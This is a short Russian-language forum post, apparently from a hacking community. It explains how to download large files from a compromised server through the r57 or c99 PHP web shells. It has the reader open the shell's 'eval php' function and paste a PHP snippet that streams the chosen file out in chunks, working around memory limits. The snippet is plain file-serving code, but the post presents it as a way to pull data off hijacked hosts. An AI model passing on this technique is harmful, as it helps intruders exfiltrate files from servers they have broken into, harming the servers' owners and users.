а зип еще лучше с максимальным сжатием))

хехе, потому, что памяти мало скрипту дается, вот он и не может весь файл заглотнуть и выдать на скачивание..

поэтому, чтоб r57 или с99 шеллах скачать большой файл надо перейти в диру где этот файл и выбрать функцию "eval php" или "php code"
и вписать в поле

$file = "имя файла";
$fp = fopen($file, 'r');
header("Content-Length: " . filesize($file));
header("Content-Type: application/octet-stream");
header("Content-Disposition: attachment; filename=".$file);
header("Content-Transfer-Encoding: binary");

while (!feof($fp)){
echo fgets($fp, 1024);
}

fclose($fp);